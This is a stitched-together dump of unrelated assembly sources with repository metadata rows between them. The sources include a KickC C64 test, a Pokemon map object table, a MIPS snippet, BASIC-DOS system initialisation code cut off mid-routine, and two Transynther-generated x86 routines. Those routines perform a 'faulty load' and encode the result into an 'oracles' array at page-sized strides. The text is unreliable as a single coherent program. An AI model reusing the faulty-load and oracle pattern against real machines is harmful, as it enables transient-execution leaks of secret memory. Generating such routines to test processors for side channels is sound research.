{'src': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 38.870968
| 2,999
| 0.654274
|
12d766641ef0b0da2eab78ddaf10f3857a8e0fdf
| 872
|
asm
|
Assembly
|
src/test/ref/inline-asm-uses-1.asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | 2
|
2022-03-01T02:21:14.000Z
|
2022-03-01T04:33:35.000Z
|
src/test/ref/inline-asm-uses-1.asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | null | null | null |
src/test/ref/inline-asm-uses-1.asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | null | null | null |
// Demonstrates inline ASM using a variable (res)
// Commodore 64 PRG executable file
.file [name="inline-asm-uses-1.prg", type="prg", segments="Program"]
.segmentdef Program [segments="Basic, Code, Data"]
.segmentdef Basic [start=$0801]
.segmentdef Code [start=$80d]
.segmentdef Data [startAfter="Code"]
.segment Basic
:BasicUpstart(main)
.label CHKIN = $1000
.label GETIN = $1003
.label CLRCHN = $1006
.segment Code
main: {
.label SCREEN = $1009
// char x = fgetc(7)
lda #7
sta.z fgetc.channel
jsr fgetc
// *SCREEN = x
sta SCREEN
// }
rts
}
// __register(A) char fgetc(__zp(3) volatile char channel)
fgetc: {
.label channel = 3
.label ret = 2
// char ret
lda #0
sta.z ret
// asm
ldx channel
jsr CHKIN
jsr GETIN
sta ret
jsr CLRCHN
// return ret;
lda.z ret
// }
rts
}
| 20.27907
| 68
| 0.614679
|
0f963cfd818258c933bf8b9e94efa9be3b151a53
| 961
|
asm
|
Assembly
|
data/mapObjects/route19.asm
|
adhi-thirumala/EvoYellow
|
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
|
[
"Unlicense"
] | 16
|
2018-08-28T21:47:01.000Z
|
2022-02-20T20:29:59.000Z
|
data/mapObjects/route19.asm
|
adhi-thirumala/EvoYellow
|
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
|
[
"Unlicense"
] | 5
|
2019-04-03T19:53:11.000Z
|
2022-03-11T22:49:34.000Z
|
data/mapObjects/route19.asm
|
adhi-thirumala/EvoYellow
|
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
|
[
"Unlicense"
] | 2
|
2019-12-09T19:46:02.000Z
|
2020-12-05T21:36:30.000Z
|
Route19Object:
db $43 ; border block
db $1 ; warps
db $9, $5, $0, BEACH_HOUSE
db $1 ; signs
db $b,$b,$b
db $a ; objects
object SPRITE_BLACK_HAIR_BOY_1, $09, $07, STAY, RIGHT, $1, OPP_SWIMMER, $2
object SPRITE_BLACK_HAIR_BOY_1, $0c, $09, STAY, LEFT, $2, OPP_SWIMMER, $3
object SPRITE_SWIMMER, $0d, $19, STAY, LEFT, $3, OPP_SWIMMER, $4
object SPRITE_SWIMMER, $04, $1b, STAY, RIGHT, $4, OPP_SWIMMER, $5
object SPRITE_SWIMMER, $10, $1f, STAY, UP, $5, OPP_SWIMMER, $6
object SPRITE_SWIMMER, $09, $0d, STAY, DOWN, $6, OPP_SWIMMER, $7
object SPRITE_SWIMMER, $08, $2b, STAY, LEFT, $7, OPP_BEAUTY, $c
object SPRITE_SWIMMER, $0b, $2b, STAY, RIGHT, $8, OPP_BEAUTY, $d
object SPRITE_SWIMMER, $09, $2a, STAY, UP, $9, OPP_SWIMMER, $8
object SPRITE_SWIMMER, $0a, $2c, STAY, DOWN, $a, OPP_BEAUTY, $e
; warp-to
EVENT_DISP ROUTE_19_WIDTH, $9, $5 ; BEACH_HOUSE
| 38.44
| 76
| 0.605619
|
7fab217c7ebc84b0e2a025819d899e51f3654d0e
| 8,570
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_224.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_224.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_224.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r15
push %r8
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x332c, %r15
nop
nop
nop
nop
sub %r8, %r8
movb $0x61, (%r15)
add $20143, %r15
lea addresses_normal_ht+0x76a8, %rbx
and %r11, %r11
mov $0x6162636465666768, %r13
movq %r13, %xmm6
movups %xmm6, (%rbx)
nop
nop
cmp %rdi, %rdi
lea addresses_WT_ht+0x1862c, %r8
nop
nop
xor $27044, %rsi
mov (%r8), %r11d
add %rdi, %rdi
lea addresses_D_ht+0x1e82c, %r13
nop
nop
nop
nop
nop
sub $25947, %r11
movb $0x61, (%r13)
nop
nop
nop
nop
nop
cmp %rbx, %rbx
lea addresses_D_ht+0xd71c, %r11
nop
nop
nop
nop
nop
and %r8, %r8
mov (%r11), %esi
dec %r8
lea addresses_A_ht+0xc8c, %rsi
nop
nop
nop
nop
nop
inc %r13
and $0xffffffffffffffc0, %rsi
movntdqa (%rsi), %xmm6
vpextrq $1, %xmm6, %rbx
nop
nop
nop
nop
nop
add %r13, %r13
lea addresses_normal_ht+0xff2c, %r8
nop
nop
nop
nop
nop
sub $63874, %rbx
movb $0x61, (%r8)
nop
nop
nop
nop
add $58252, %r8
lea addresses_A_ht+0x4a1c, %r13
nop
nop
cmp $653, %r15
movb (%r13), %bl
nop
nop
nop
nop
nop
sub $41120, %r8
lea addresses_A_ht+0xc72c, %r8
nop
xor $60788, %rdi
mov (%r8), %r13d
nop
nop
nop
nop
nop
and %r15, %r15
lea addresses_D_ht+0x60b0, %rsi
lea addresses_WT_ht+0x17682, %rdi
sub $26562, %r15
mov $0, %rcx
rep movsw
nop
nop
dec %r8
lea addresses_WC_ht+0xcbfc, %rsi
lea addresses_UC_ht+0x852c, %rdi
nop
nop
inc %r13
mov $121, %rcx
rep movsq
nop
nop
nop
nop
and %rsi, %rsi
lea addresses_D_ht+0x1bce8, %rbx
nop
nop
nop
add %r15, %r15
and $0xffffffffffffffc0, %rbx
vmovntdqa (%rbx), %ymm7
vextracti128 $0, %ymm7, %xmm7
vpextrq $1, %xmm7, %rsi
nop
nop
nop
nop
cmp $64, %r15
lea addresses_WT_ht+0x1da44, %rsi
lea addresses_UC_ht+0xf32c, %rdi
nop
cmp $52645, %r8
mov $116, %rcx
rep movsq
nop
nop
nop
nop
dec %rdi
lea addresses_A_ht+0x1072c, %rsi
lea addresses_D_ht+0x8e6c, %rdi
nop
nop
nop
nop
sub %r13, %r13
mov $11, %rcx
rep movsq
nop
nop
nop
nop
nop
sub $17181, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r8
pop %r15
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r15
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_D+0x43ac, %r13
nop
nop
add $33588, %r15
movl $0x51525354, (%r13)
nop
nop
nop
dec %r15
// Store
lea addresses_D+0x10127, %r12
nop
xor %r13, %r13
mov $0x5152535455565758, %rax
movq %rax, (%r12)
nop
nop
nop
and $13004, %rdx
// REPMOV
lea addresses_D+0x1398c, %rsi
lea addresses_PSE+0xf22c, %rdi
nop
nop
nop
dec %rdx
mov $22, %rcx
rep movsq
nop
nop
nop
nop
nop
cmp %rcx, %rcx
// Load
lea addresses_WT+0x111cc, %r13
nop
nop
inc %rdi
mov (%r13), %rdx
inc %r15
// Faulty Load
lea addresses_WC+0x472c, %r13
nop
nop
dec %rbp
movups (%r13), %xmm7
vpextrq $1, %xmm7, %rcx
lea oracles, %r13
and $0xff, %rcx
shlq $12, %rcx
mov (%r13,%rcx,1), %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r15
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WC', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_D', 'congruent': 7}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_D', 'congruent': 0}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 8, 'type': 'addresses_PSE'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_D'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WT', 'congruent': 3}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WC', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_normal_ht', 'congruent': 10}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_normal_ht', 'congruent': 2}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WT_ht', 'congruent': 8}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_D_ht', 'congruent': 8}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_D_ht', 'congruent': 4}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 16, 'type': 'addresses_A_ht', 'congruent': 5}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_normal_ht', 'congruent': 11}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_A_ht', 'congruent': 4}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A_ht', 'congruent': 7}}
{'dst': {'same': False, 'congruent': 0, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_D_ht'}}
{'dst': {'same': False, 'congruent': 8, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 4, 'type': 'addresses_WC_ht'}}
{'OP': 'LOAD', 'src': {'same': True, 'NT': True, 'AVXalign': False, 'size': 32, 'type': 'addresses_D_ht', 'congruent': 2}}
{'dst': {'same': False, 'congruent': 10, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_WT_ht'}}
{'dst': {'same': False, 'congruent': 5, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_A_ht'}}
{'38': 21829}
38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38
*/
| 30.176056
| 2,999
| 0.654726
|
facd53b7a90dcc7327cec0ed591a976ee9fda497
| 145
|
asm
|
Assembly
|
other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/ツール/press/Gdefchr4.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/ツール/press/Gdefchr4.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/ツール/press/Gdefchr4.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
Name: Gdefchr4.asm
Type: file
Size: 5091
Last-Modified: '2016-05-13T04:52:55Z'
SHA-1: 707CE5F699AB03EC61A75F6A23117281400E01C1
Description: null
| 20.714286
| 47
| 0.813793
|
8d904084c475f2709852b1347de88747c237bb53
| 270
|
asm
|
Assembly
|
Asm/3.7.asm
|
cquca/csco_book_codes
|
ccf709d744454695ad9460cad4c241439592d3ab
|
[
"MIT"
] | 3
|
2020-05-08T03:12:53.000Z
|
2021-05-02T10:25:19.000Z
|
Asm/3.7.asm
|
cquca/csco_book_codes
|
ccf709d744454695ad9460cad4c241439592d3ab
|
[
"MIT"
] | null | null | null |
Asm/3.7.asm
|
cquca/csco_book_codes
|
ccf709d744454695ad9460cad4c241439592d3ab
|
[
"MIT"
] | null | null | null |
.globl main
.text
main:
li $v0,4
la $a0,str
syscall
li $v0,4
la $a0,strn
syscall
li $v0,1
la $t0,b0
lb $a0,0($t0)
syscall
lh $a0,0($t0)
syscall
lw $a0,0($t0)
syscall
la $t0,$h0
lh $a0,0($t0)
syscall
lw $a0,0($t0)
syscall
la $t0,w0
lw $a0,0($t0)
syscall
li $v0,10
syscall
| 10
| 13
| 0.651852
|
b80493e2dd2981b433b38ee1b4f1cf558056efb1
| 24,781
|
asm
|
Assembly
|
software/pcx86/bdsrc/dos/sysinit.asm
|
fatman2021/basicdos
|
d5de65300632632dd0f5a4d9335d38b4aa39d268
|
[
"MIT"
] | 59
|
2020-12-22T21:02:32.000Z
|
2022-02-16T05:53:49.000Z
|
software/pcx86/bdsrc/dos/sysinit.asm
|
fatman2021/basicdos
|
d5de65300632632dd0f5a4d9335d38b4aa39d268
|
[
"MIT"
] | null | null | null |
software/pcx86/bdsrc/dos/sysinit.asm
|
fatman2021/basicdos
|
d5de65300632632dd0f5a4d9335d38b4aa39d268
|
[
"MIT"
] | 5
|
2020-12-24T03:07:40.000Z
|
2022-02-03T18:40:55.000Z
|
;
; BASIC-DOS System Initialization
;
; @author Jeff Parsons <Jeff@pcjs.org>
; @copyright (c) 2020-2021 Jeff Parsons
; @license MIT <https://basicdos.com/LICENSE.txt>
;
; This file is part of PCjs, a computer emulation software project at pcjs.org
;
BIOSEQU equ 1
include macros.inc
include 8086.inc
include bios.inc
include disk.inc
include devapi.inc
include dos.inc
include dosapi.inc
include version.inc
DOS segment word public 'CODE'
EXTBYTE <bpb_total,sfh_debug,def_switchar>
EXTWORD <mcb_head,mcb_limit,buf_head,key_boot,scb_active>
EXTLONG <bpb_table,scb_table,sfb_table,clk_ptr>
EXTNEAR <dos_dverr,dos_sstep,dos_brkpt,dos_oferr,dos_opchk>
EXTNEAR <dos_term,dos_func,dos_exit,dos_ctrlc,dos_error,dos_default>
EXTNEAR <disk_read,disk_write,dos_tsr,dos_call5,dos_util,dos_leave>
EXTNEAR <int_enter,int_leave>
DEFLBL sysinit_start
DEFWORD bpb_off
DEFWORD dos_seg
DEFWORD top_seg
DEFWORD cfg_data
DEFWORD cfg_size
DEFPTR pCacheInt21
DEFPTR pCacheFile
DEFPTR pCacheData
DEFWORD cbCacheData
DEFPTR pCacheActive
DEFWORD cbCacheActive
ASSUME CS:DOS, DS:BIOS, ES:DOS, SS:NOTHING
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; System initialization
;
; Everything after "sysinit_start" will be recycled.
;
; Entry:
; AX = offset of initial BPB
; DS:BX -> CFG_FILE data, if any
; DX = size of CFG_FILE data, if any
;
DEFPROC sysinit,far
mov [bpb_off],ax ; save boot BPB (BIOS offset)
mov ax,cs
mov [dos_seg],ax ; save the resident DOS segment
mov [cfg_data],bx ; offset of CFG data
mov [cfg_size],dx ; size of CFG data
;
; To simplify use of the CFG data, replace CRs with nulls (leave
; the LFs alone, because find_cfg uses those to find the next line).
;
mov di,bx
mov cx,dx
mov al,0Dh
si0: repne scasb
jcxz si1
mov byte ptr es:[di-1],0
jmp si0
;
; Move all the init code/data out of the way, to top of available memory.
;
; Size is in Kb (2^10 units), we need size in paragraphs (2^4 units), so
; shift left 6 bits. Then calculate init code size in paras and subtract.
;
si1: mov ax,[MEMORY_SIZE] ; get available memory in Kb
mov cl,6
shl ax,cl ; available memory in paras
mov [top_seg],ax ; segment of end of memory
mov [mcb_limit],ax
add bx,dx ; add size of CFG data
mov si,offset sysinit_start ; SI = offset of init code
sub bx,si ; BX = number of bytes to move
lea dx,[bx+31]
mov cl,4
shr dx,cl ; max number of paras spanned
sub ax,dx ; target segment
mov dx,si
shr dx,cl ; DX = 1st paragraph of init code
sub ax,dx ; AX = target segment adjusted for ORG
mov es,ax ; begin the move
ASSUME ES:NOTHING
push cs
pop ds
ASSUME DS:DOS
mov di,si
mov cx,bx
shr cx,1
rep movsw
push ax ; push new segment on stack
mov ax,offset sysinit_high
push ax ; push new offset on stack
ret
;
; Initialize all the DOS vectors. DS is dos_seg; set ES to BIOS.
;
EVEN
DEFLBL sysinit_high,near
;
; This is also a good time (actually, a long overdue time) to switch off
; of whatever stack the BIOS set up for booting (the IBM PC uses 30h:100h).
; There just weren't any particularly known good safe places, until now.
;
cli ; guard against early 8088 errata
push cs ; use all the space available
pop ss ; directly below the sysinit code
mov sp,offset sysinit_start
sti
mov es,cx ; CX is zero from above
ASSUME ES:BIOS
mov si,offset INT_TABLES
si2: lodsw
test ax,ax ; any more tables?
jl si2b ; no
xchg di,ax ; DI -> first vector for table
si2a: lodsw ; load vector offset
test ax,ax ; end of sub-table?
jz si2 ; yes
stosw ; store vector offset
mov ax,ds
stosw ; store vector segment
jmp si2a
si2b: mov al,0EAh ; DI -> INT_DOSCALL5 * 4
stosb
mov ax,offset dos_call5
stosw
mov ax,ds
stosw
add di,3 ; DI -> INT_DOSUTIL * 4
mov ax,offset dos_util
stosw
mov ax,ds
stosw
;
; The current SP is sysinit_start, and relative to SS, that's safe place
; for our stack, whereas relative to DS, it's the start of DOS table space,
; and while the SCBs will be our first table, we have to temporarily set
; scb_active to that same region, so that any DOS or DOSUTIL calls we make
; will not barf due to the lack of an active SCB.
;
mov bx,sp
DBGINIT STRUCT,[bx],SCB
mov [scb_active],bx ; set temporary SCB
;
; Let users override the default switch character '/' (eg, "SWITCHAR=-").
;
mov si,offset CFG_SWITCHAR
call find_cfg ; look for "SWITCHAR="
jc si3
mov al,[di] ; grab the character
mov [def_switchar],al ; and update the default for all SCBs
;
; Copy BOOT_KEY from the BIOS segment to key_boot in the DOS segment.
;
si3: mov ax,[BOOT_KEY] ; copy the boot key
cmp al,CHR_RETURN ; unless it's just a RETURN
je si3a
mov [key_boot],ax
;
; For ease of configuration testing, allow MEMSIZE (eg, MEMSIZE=32) to set a
; new memory limit (Kb), assuming we have at least as much memory as specified.
;
si3a: mov si,offset CFG_MEMSIZE
call find_cfg ; look for "MEMSIZE="
jc si4
xchg si,di
push cs
pop es
ASSUME ES:NOTHING ; ES:DI -> validation data
mov bl,10 ; BL = base 10
DOSUTIL ATOI16 ; DS:SI -> string
jc si4 ; AX = value
push cx
mov cl,6
shl ax,cl
pop cx
cmp ax,[mcb_limit] ; is MEMSIZE too large?
jae si4 ; yes
mov [mcb_limit],ax
mov cs:[top_seg],ax
;
; Now set ES to the first available paragraph for resident DOS tables.
;
si4: mov ax,sp ;
ASSERT Z,<cmp ax,offset sysinit_start>
test al,0Fh ; started on a paragraph boundary?
jz si4a ; yes
inc dx ; no, so skip to next paragraph
si4a: mov ax,ds
add ax,dx
mov es,ax ; ES = first free (low) paragraph
ASSUME ES:NOTHING
;
; The first resident table (scb_table) contains our Session Control Blocks.
; Look for a "SESSIONS=" line in CFG_FILE.
;
si5: mov si,offset CFG_SESSIONS
call find_cfg ; look for "SESSIONS="
jc si5a ; if not found, AX will be min value
xchg si,di
push es
push cs
pop es
mov bl,10 ; BL = base 10
DOSUTIL ATOI16 ; DS:SI -> string, ES:DI -> validation
pop es ; AX = new value
si5a: mov dx,size SCB
mov bx,offset scb_table
call init_table ; initialize table, update ES
;
; Initialize all the SCBs, by assigning them unique SCB_NUM values and
; setting their default CON/AUX/PRN system file handles to SFH_NONE (-1).
;
mov ax,SFH_NONE SHL 8 ; AL = 0, AH = SFH_NONE
cwd ; DL = SFH_NONE, DH = SFH_NONE
mov bx,[scb_table].OFF
mov [scb_active],bx ; make the first SCB active
si5b: ASSERT <SCB_NUM + 1>,EQ,<SCB_SFHIN>
mov word ptr [bx].SCB_NUM,ax
mov word ptr [bx].SCB_SFHOUT,dx
mov word ptr [bx].SCB_SFHAUX,dx
DBGINIT STRUCT,[bx],SCB
inc ax
add bx,size SCB
cmp bx,[scb_table].SEG
jb si5b
;
; The next resident table (bpb_table) contains all the system BPBs.
;
sub ax,ax
mov ds,ax
ASSUME DS:BIOS
mov al,[FDC_UNITS] ; AX = # drives
mov dx,size BPBEX
mov bx,offset bpb_table
call init_table ; initialize table, update ES
mov si,[bpb_off] ; get the BPB the boot sector used
;
; Note that when we copy the "boot" BPB into the table of system BPBs, we
; don't assume that it came from drive 0 (that will always be true on the IBM
; PC, but on, um, future machines, perhaps not).
;
push es
mov es,[dos_seg]
ASSUME ES:DOS
mov es:[bpb_total],al ; record # BPBs
push ax ; save # BPBs on stack
;
; Initialize the buffer chain while DS still points to the BIOS segment.
;
mov cl,4
